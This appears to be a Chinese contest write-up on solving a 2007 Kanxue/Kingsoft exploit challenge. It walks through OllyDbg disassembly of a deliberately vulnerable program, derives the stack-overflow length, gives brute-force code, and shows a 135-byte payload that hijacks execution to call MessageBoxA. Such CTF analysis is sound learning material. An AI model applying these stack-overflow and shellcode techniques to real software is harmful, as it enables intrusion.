第二阶段第一题我的方法(135bytes,比较弱)+总结(看雪金山2007逆向分析挑战赛)
第二阶段第一题我的方法(135bytes,比较弱)+总结(看雪金山2007逆向分析挑战赛)
By: aker
工具:OD
我的方法比较一般,很多大虾都是51字节的,希望向他们学习。这儿写下来是为了记住自己走过的一段历程。我在确定前八个字节上面花费的时间特别多,开始就是蠢方法,看里面很多代码不知道前后关系是什么,也难得看懂,就把代码挖出来,然后丢在自己机子上跑,自己看东西去了,一直到了晚上8点才想起是不是不可能跑出来,计算了下时间,发现根本不可能穷举出来。然后没办法,只好去看代码,但是rcl,sbb那几个指令那里我怎么都定不下心去看,看到那些数字也没有先计算下哪些是固定值,那些是根据输入变化的,不知道前后有什么耦合关系。而且也是自己的原因,自己看到数字在里面多了就觉得很烦。
下面是细节,从前面一步步跟下来,发现流程主要是这样的:
点击exploit后,程序读test.txt,读取大小,确保文件大于8,小于0x1000,在堆中分配文件大小+1个字节,读入文件存放到该缓冲区。这个过程中应该没有什么错误,各个环节的检查都比较严。然后关键的一段代码如下,从这段代码的调用情况来看,必须在该处处理fail字符串或者跳过下面的msgbox调用,否则就出现fail字样的窗口,基本可以确定,关键的地方就在这个函数(0040037E)里面。
0040037C |. 50 push eax ; 文件大小
0040037D |. 56 push esi ; 文件开始地址
0040037E |. E8 FDFEFFFF call ExploitM.00400280 ; 溢出操作
00400383 |. 59 pop ecx
00400384 |. 59 pop ecx
00400385 |> 57 push edi ; /Style
00400386 |. 68 68024000 push ExploitM.00400268 ; |Title = "Try"
0040038B |. 68 60024000 push ExploitM.00400260 ; |Text = "Failed!"
00400390 |. 57 push edi ; |hOwner
00400391 |. FF15 4C024000 call dword ptr ds:[<&USER32.MessageBoxA>] ; \MessageBoxA
00400280 /$ 55 push ebp
00400281 |. 8BEC mov ebp,esp
00400283 |. 83EC 2C sub esp,2C ; 分配2c的栈空间
00400286 |. 8065 D4 00 and byte ptr ss:[ebp-2C],0 ; 置栈顶字节为0
…………………………0040029F |. 8B75 08 mov esi,dword ptr ss:[ebp+8] ; esi = 数据起点
004002A2 |. 68 A802CC78 push 78CC02A8
004002A7 |. 68 1B8F9469 push 69948F1B
004002AC |. FF76 04 push dword ptr ds:[esi+4] ; 起点的第四个字节开始的双字
004002AF |. FF36 push dword ptr ds:[esi] ; 读取数据的起点
004002B1 |. E8 0A030000 call ExploitM.004005C0
004002B6 |. 68 82FFE65B push 5BE6FF82
004002BB |. 68 854716A5 push A5164785
004002C0 |. 52 push edx ; 计算的余数 + 低32位和
004002C1 |. 50 push eax ; 第三*第一的低32位
004002C2 |. E8 79020000 call ExploitM.00400540004002C7 |. 6A 04 push 4
004002C9 |. 8BCE mov ecx,esi ; ecx = esi
004002CB |. 5F pop edi ; edi = 4
004002CC |> 8031 1C /xor byte ptr ds:[ecx],1C ; 对数据开始8个字节异或;跳转
004002CF |. 8A11 |mov dl,byte ptr ds:[ecx]
004002D1 |. 3051 01 |xor byte ptr ds:[ecx+1],dl
004002D4 |. 41 |inc ecx
004002D5 |. 41 |inc ecx
004002D6 |. 4F |dec edi
004002D7 |.^ 75 F3 \jnz short ExploitM.004002CCfor(int i =0;i<8; i+=2)
{
str[i] ^= 1c;
str[i+1] ^= str[i];
}004002D9 |. 6A 1A push 1A
004002DB |. 59 pop ecx ; ecx = 1ah
004002DC |. 2BC8 sub ecx,eax ; 1a-eax;//关键就是这个eax
004002DE |. 0FAFC8 imul ecx,eax ; (1a-eax)*eax
004002E1 |. 81E9 9C000000 sub ecx,9C ; ecx -= 9c;
从上面的代码推导出最后求覆盖字节数的公式为:
(0x1a-x)*x -0x9c = k+/-0x100000000 * i (i = 0,1,2...)x=13(+/-) (52-4k)^0.5现在我们确定了要读入堆栈的文件字节数,下面的代码复制到堆栈。
004002EB |. 8D7D D4 lea edi,dword ptr ss:[ebp-2C]
004002EE |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[es>; 复制字符串,真正的溢出点看输入文件处理函数,首先是第一个函数,比较简单,现在总结自己犯的错误,主要觉得自己有侥幸心理,感觉代码能不看就不看,而且自己的汇编功底确实不好,毕竟俺是文科出身的;)没有正儿八经的学过这个咚咚。
这个代码中间是这样的,第三和第四参数是常数。
//////////调用点
0040029F |. 8B75 08 mov esi,dword ptr ss:[ebp+8] ; esi = 数据起点
004002A2 |. 68 A802CC78 push 78CC02A8
004002A7 |. 68 1B8F9469 push 69948F1B
004002AC |. FF76 04 push dword ptr ds:[esi+4] ; 起点的第四个字节开始的双字
004002AF |. FF36 push dword ptr ds:[esi] ; 读取数据的起点
004002B1 |. E8 0A030000 call ExploitM.004005C0
//////////函数,红线的应该为废操作
004005C0 /$ 8B4424 08 mov eax,dword ptr ss:[esp+8] ; 第二参数-输入文件5-8字节
004005C4 |. 8B4C24 10 mov ecx,dword ptr ss:[esp+10] ; 第四参数
004005C8 |. 0BC8 or ecx,eax ; 或该两个参数?废操作
004005CA |. 8B4C24 0C mov ecx,dword ptr ss:[esp+C] ; 第三参数
004005CE |. 75 09 jnz short ExploitM.004005D9 ; 不为0跳转;永不为0
004005D0 |. 8B4424 04 mov eax,dword ptr ss:[esp+4] ; 第一参数
004005D4 |. F7E1 mul ecx ; 第三 * 第一
004005D6 |. C2 1000 retn 10
004005D9 |> 53 push ebx ; 保存ebx
004005DA |. F7E1 mul ecx ; 第三 * 第二
004005DC |. 8BD8 mov ebx,eax ; 结果低32位放ebx
004005DE |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; 第一参数
004005E2 |. F76424 14 mul dword ptr ss:[esp+14] ; 第一 * 第四参数
004005E6 |. 03D8 add ebx,eax ; 低32位相加
004005E8 |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; eax = 第一参数
004005EC |. F7E1 mul ecx ; 第三 * 第一参数
004005EE |. 03D3 add edx,ebx ; 进位 + 刚刚低32位和
004005F0 |. 5B pop ebx
004005F1 \. C2 1000 retn 10
代码的出口后,还被用到的变量是eax和edx,该两个变量在代码中变换如下。
// UINT64 x,y;
// x,y,0x69948F1B,0x78CC02A8 ---?设为输入的参数
// (unsigned)(y*0x69948F1B + x*0x78CC02A8) + (unsigned)(x*0x69948F1B >>32) --> edx -->para2
// (unsigned)(x*0x69948F1B) --> eax --> para1//调用点
004002B6 |. 68 82FFE65B push 5BE6FF82
004002BB |. 68 854716A5 push A5164785
004002C0 |. 52 push edx ; 计算的余数 + 低32位和
004002C1 |. 50 push eax ; 第三*第一的低32位
004002C2 |. E8 79020000 call ExploitM.00400540
//函数
00400540 /$ 53 push ebx
00400541 |. 8B4424 14 mov eax,dword ptr ss:[esp+14] ; 第四参数
00400545 |. 0BC0 or eax,eax ; 永不为0?
00400547 |. 75 18 jnz short ExploitM.00400561
00400549 |. 8B4C24 10 mov ecx,dword ptr ss:[esp+10] ; 第三参数
0040054D |. 8B4424 0C mov eax,dword ptr ss:[esp+C] ; 第二
00400551 |. 33D2 xor edx,edx
00400553 |. F7F1 div ecx
00400555 |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; 第一
00400559 |. F7F1 div ecx
0040055B |. 8BC2 mov eax,edx
0040055D |. 33D2 xor edx,edx
0040055F |. EB 50 jmp short ExploitM.004005B1
00400561 |> 8BC8 mov ecx,eax ; ecx = 第4;肯定到这儿
00400563 |. 8B5C24 10 mov ebx,dword ptr ss:[esp+10] ; ebx = 第3
00400567 |. 8B5424 0C mov edx,dword ptr ss:[esp+C] ; edx = 第2
0040056B |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; eax = 第1参数
0040056F |> D1E9 /shr ecx,1 ; ecx >>=1
00400571 |. D1DB |rcr ebx,1 ; 循环右移-带进位-固定0B7CDFF05h
00400573 |. D1EA |shr edx,1
00400575 |. D1D8 |rcr eax,1 ; para 1
00400577 |. 0BC9 |or ecx,ecx ; 31回
00400579 |.^ 75 F4 \jnz short ExploitM.0040056F
0040057B |. F7F3 div ebx ; 0B7CDFF05h--固定值
0040057D |. 8BC8 mov ecx,eax ; ecx = eax
0040057F |. F76424 14 mul dword ptr ss:[esp+14] ; 第四参数
00400583 |. 91 xchg eax,ecx
00400584 |. F76424 10 mul dword ptr ss:[esp+10] ; para 3
00400588 |. 03D1 add edx,ecx
0040058A |. 72 0E jb short ExploitM.0040059A
0040058C |. 3B5424 0C cmp edx,dword ptr ss:[esp+C] ; para 2
00400590 |. 77 08 ja short ExploitM.0040059A
00400592 |. 72 0E jb short ExploitM.004005A2
00400594 |. 3B4424 08 cmp eax,dword ptr ss:[esp+8] ; para 1 ----0
00400598 |. 76 08 jbe short ExploitM.004005A2
0040059A |> 2B4424 10 sub eax,dword ptr ss:[esp+10] ; para 3
0040059E |. 1B5424 14 sbb edx,dword ptr ss:[esp+14] ; para 4
004005A2 |> 2B4424 08 sub eax,dword ptr ss:[esp+8] ; para 1
004005A6 |. 1B5424 0C sbb edx,dword ptr ss:[esp+C] ; para 2
004005AA |. F7DA neg edx
004005AC |. F7D8 neg eax ; 返回值
004005AE |. 83DA 00 sbb edx,0
004005B1 |> 5B pop ebx
004005B2 \. C2 1000 retn 10
00400540 /$ 53 push ebx
00400561 |> 8BC8 mov ecx, ,dword ptr ss:[esp+14] ; 第4;肯定到这儿
00400563 |. 8B5C24 10 mov ebx,dword ptr ss:[esp+10] ; ebx = 第3
00400567 |. 8B5424 0C mov edx,dword ptr ss:[esp+C] ; edx = 第2
0040056B |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; eax = 第1参数
0040056F |> D1E9 /shr ecx,1 ; ecx >>=1
00400571 |. D1DB |rcr ebx,1 ; 循环右移-带进位-固定0B7CDFF05h
00400573 |. D1EA |shr edx,1
00400575 |. D1D8 |rcr eax,1 ; para 1
00400577 |. 0BC9 |or ecx,ecx ; 31回
00400579 |.^ 75 F4 \jnz short ExploitM.0040056F
0040057B |. F7F3 div ebx ; 0B7CDFF05h--固定值
0040057D |. 8BC8 mov ecx,eax ; ecx = eax
0040057F |. F76424 14 mul dword ptr ss:[esp+14] ; 第四参数
00400583 |. 91 xchg eax,ecx
00400584 |. F76424 10 mul dword ptr ss:[esp+10] ; para 3
00400588 |. 03D1 add edx,ecx
0040058A |. 72 0E jb short ExploitM.0040059A
0040058C |. 3B5424 0C cmp edx,dword ptr ss:[esp+C] ; para 2
00400590 |. 77 08 ja short ExploitM.0040059A
00400592 |. 72 0E jb short ExploitM.004005A2
00400594 |. 3B4424 08 cmp eax,dword ptr ss:[esp+8] ; para 1 ----0
00400598 |. 76 08 jbe short ExploitM.004005A2
0040059A |> 2B4424 10 sub eax,dword ptr ss:[esp+10] ; para 3
0040059E |. 1B5424 14 sbb edx,dword ptr ss:[esp+14] ; para 4
004005A2 |> 2B4424 08 sub eax,dword ptr ss:[esp+8] ; para 1
004005A6 |. 1B5424 0C sbb edx,dword ptr ss:[esp+C] ; para 2
004005AA |. F7DA neg edx
004005AC |. F7D8 neg eax ; 返回值
004005AE |. 83DA 00 sbb edx,0
004005B1 |> 5B pop ebx
004005B2 \. C2 1000 retn 10
unsigned para1 = 1;
unsigned para2 = 1;
unsigned lpara1;
unsigned lpara2;
while (para1++<0xffffffff)
{
while (para2++<0xffffffff)
{
//unsigned 0A5164785h = 0A5164785h;
//unsigned 0A5164785h = 5BE6FF82h;
__asm{
mov eax,para2 //; 第二参数
//mov ecx,78CC02A8h //; 第四参数
//or ecx,eax //; 或该两个参数?废操作
mov ecx,69948F1Bh //; 第三参数
push ebx //; 保存ebx
mul ecx //; 第三 * 第二
mov ebx,eax //; 结果低32位放ebx
mov eax,para1 //; 第一参数
push 78CC02A8h
pop esi
mul esi //; 第一 * 第四参数
add ebx,eax //; 低32位相加
mov eax,para1 //; eax = 第一参数
mul ecx //; 第三 * 第一参数
add edx,ebx //; 进位 + 刚刚低32位和
pop ebx
mov lpara1,eax
mov lpara2,edx
}
__asm{
mov ecx, 5BE6FF82h // ecx = 第4;肯定到这儿?
mov ebx,0A5164785h // ebx = 第2
mov edx,lpara2 // edx = 第3
mov eax,lpara1 // eax = 第1参数
again:
shr ecx,1 // ; ecx >>=1
rcr ebx,1 // ; 循环右移
shr edx,1 // ; 左边填0--〉最后edx =1
rcr eax,1 // ; para 1
or ecx,ecx // ; 31回
jnz again //
div ebx
push ebx
mov ebx,5BE6FF82h //
mov ecx,eax //
mul ebx // 第四参数
xchg eax,ecx //
mul ebx
pop ebx
add edx,ecx //
jb pos1 //
cmp edx,lpara2 // para 2
ja pos1 //
jb pos2 //
cmp eax,lpara1 // para 1
jbe pos2 //
pos1:
sub eax,0A5164785h // para 3
sbb edx,5BE6FF82h // para 4
pos2:
sub eax,lpara1 // para 1
sbb edx,lpara2 // para 2
neg edx //
neg eax // 返回值
sbb edx,0
cmp eax,211BB34h
jz success
}
}
} 上面说的两种方法,一个是直接修改代码里的数据,另外一个是跳转后直接构造堆。我的就是跳转后直接构造堆栈,调用msgbox,平衡栈底,跳转回去,需要注意的应该就是平衡栈底。调用msgbox的时候我就是使用的堆里面的数据ok!。注意重定位就是了,具体看代码。另外我的代码很乱,我就随便输入的字符串,然后改的,所以将就看吧;))
003E0000 /EB 7C jmp short 003E007E
003E0002 |CF iretd
003E0003 |45 inc ebp
003E0004 |FA cli
003E0005 |05 E3154F4B add eax,4B4F15E3
003E000A |2100 and dword ptr ds:[eax],eax
003E000C |5F pop edi
003E000D |57 push edi
003E000E |83C7 34 add edi,34
003E0011 |FFE7 jmp edi
003E0013 |00FF add bh,bh
003E0015 |D7 xlat byte ptr ds:[ebx+al]
003E0016 |FD std
003E0017 |1200 adc al,byte ptr ds:[eax]
003E0019 |57 push edi
003E001A |FF15 4C024000 call dword ptr ds:[<&USER32.MessageBoxA>] ; USER32.MessageBoxA
003E0020 |61 popad
003E0021 |6263 64 bound esp,qword ptr ds:[ebx+64]
003E0024 |65:66:67:68 6970 push 7069
003E002A |71 72 jno short 003E009E
003E002C |C4FB les edi,ebx ; 非法使用寄存器
003E002E |1200 adc al,byte ptr ds:[eax]
003E0030 |F5 cmc
003E0031 |0240 00 add al,byte ptr ds:[eax]
003E0034 |8BC6 mov eax,esi ///////////////////////////////////////////////////////
003E0036 |05 08000000 add eax,8
003E003B |0BC9 or ecx,ecx
003E003D |51 push ecx
003E003E |50 push eax
003E003F |50 push eax
003E0040 |51 push ecx
003E0041 |FF15 4C024000 call dword ptr ds:[<&USER32.MessageBoxA>] ; USER32.MessageBoxA
003E0047 |59 pop ecx
003E0048 |59 pop ecx
003E0049 |8BEC mov ebp,esp
003E004B |83C5 14 add ebp,14
003E004E |90 nop
003E004F |90 nop
003E0050 |90 nop
003E0051 |BF 97034000 mov edi,400397
003E0056 |FFE7 jmp edi
003E0058 |66: prefix datasize:
003E0059 |66: prefix datasize:
003E005A |66: prefix datasize:
003E005B |66: prefix datasize:
003E005C |66: prefix datasize:
003E005D |66: prefix datasize:
003E005E |66: prefix datasize:
003E005F |66: prefix datasize:
003E0060 |66: prefix datasize:
003E0061 |66: prefix datasize:
003E0062 |66: prefix datasize:
003E0063 |66: prefix datasize:
003E0064 |66: prefix datasize:
003E0065 |66: prefix datasize:
003E0066 |66: prefix datasize:
003E0067 |66: prefix datasize:
003E0068 |66: prefix datasize:
003E0069 |66: prefix datasize:
003E006A |66: prefix datasize:
003E006B |66: prefix datasize:
003E006C |66: prefix datasize:
003E006D |66: prefix datasize:
003E006E |66: prefix datasize:
003E006F |66:0000 add byte ptr ds:[eax],al
003E0072 |0000 add byte ptr ds:[eax],al
003E0074 |0000 add byte ptr ds:[eax],al
003E0076 |0000 add byte ptr ds:[eax],al
003E0078 |0000 add byte ptr ds:[eax],al
003E007A |0000 add byte ptr ds:[eax],al
003E007C |0000 add byte ptr ds:[eax],al
003E007E \8BC6 mov eax,esi
003E0080 05 34000000 add eax,34
003E0085 FFE0 jmp eax一种穷举代码:
int main(int argc, char *argv[])
{
UINT64 i;
for (i = 0; i<0xffffffff; i++)
if((unsigned)((i*0x69948F1B) + ~0xd+1)%0xA5164785 ==0 )
printf("%x\n",i);
return 0;
}